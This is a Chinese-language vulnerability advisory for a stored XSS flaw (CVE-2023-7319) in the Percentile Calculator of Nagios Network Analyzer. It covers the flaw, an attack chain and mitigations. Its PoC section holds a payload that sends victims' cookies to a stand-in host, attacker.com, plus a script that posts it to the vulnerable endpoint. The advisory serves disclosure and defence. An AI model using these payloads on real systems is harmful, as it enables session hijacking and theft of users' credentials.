CVE-2023-7319 CVSS 5.4 中危

CVE-2023-7319 Nagios Network Analyzer跨站脚本漏洞

披露日期: 2025-10-30

来源: [email protected]

漏洞信息

漏洞编号

CVE-2023-7319

漏洞类型

XSS

CVSS评分

5.4 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

需要交互 (UI:R)

影响产品

Nagios Network Analyzer

漏洞概述

CVE-2023-7319是Nagios Network Analyzer中存在的一个存储型跨站脚本(XSS)漏洞。该漏洞影响2024R1之前的所有版本。攻击者可以通过Percentile Calculator菜单注入恶意JavaScript代码，由于应用程序对用户输入的验证和转义不充分，导致恶意脚本可以在其他用户的浏览器上下文中执行。此漏洞的成功利用可能导致敏感信息窃取、会话劫持、钓鱼攻击等安全问题。攻击者需要具备低权限用户账户，并需要诱导受害者与恶意内容进行交互才能触发漏洞。

技术细节

Nagios Network Analyzer的Percentile Calculator功能存在输入验证不足的问题。攻击者可以在计算百分位数的参数中嵌入恶意脚本代码。由于服务端未对用户输入进行充分的HTML转义或输入验证，攻击者注入的JavaScript代码会被存储在后端。当其他用户访问该功能页面时，浏览器会解析并执行这些恶意脚本。攻击者可以利用此漏洞窃取受害者的会话Cookie、进行钓鱼攻击、修改页面内容或重定向用户到恶意网站。由于该漏洞需要用户交互才能触发，因此攻击复杂度相对较高，但仍对系统安全构成威胁。

攻击链分析

STEP 1

步骤1

攻击者获取Nagios Network Analyzer的低权限用户账户

STEP 2

步骤2

攻击者访问Percentile Calculator功能模块

STEP 3

步骤3

攻击者在输入参数中注入恶意JavaScript代码，如<img src=x onerror=alert(document.cookie)>

STEP 4

步骤4

由于输入验证不足，恶意脚本被存储在服务器端

STEP 5

步骤5

其他用户访问Percentile Calculator页面时，浏览器执行恶意脚本

STEP 6

步骤6

攻击者通过恶意脚本窃取受害者Cookie、会话令牌或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- CVE-2023-7319 PoC - XSS via Percentile Calculator -->
<script>
  // Payload: <img src=x onerror="alert(document.cookie)">
  // Inject via Percentile Calculator parameter field
  
  const maliciousPayload = '<img src=x onerror="fetch(\'http://attacker.com/steal?c=\'+document.cookie)">"';
  
  // Send request to Percentile Calculator endpoint
  fetch('/network_analyzer/percentile_calculator', {
    method: 'POST',
    headers: {
      'Content-Type': 'application/x-www-form-urlencoded',
    },
    body: 'data=' + encodeURIComponent(maliciousPayload) + '&action=calculate'
  });
</script>

<!-- Example: Trigger stored XSS -->
<!-- <script>alert(document.domain)</script> -->

影响范围

Nagios Network Analyzer < 2024R1

防御指南

临时缓解措施

在官方修复版本发布前，可通过以下措施临时缓解：1)限制低权限用户对Percentile Calculator功能的访问；2)实施严格的输入过滤规则，禁用HTML标签和特殊字符；3)配置Web应用防火墙(WAF)规则检测和阻止XSS攻击特征；4)加强对管理员和用户的安全意识培训，提醒不要点击可疑链接。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表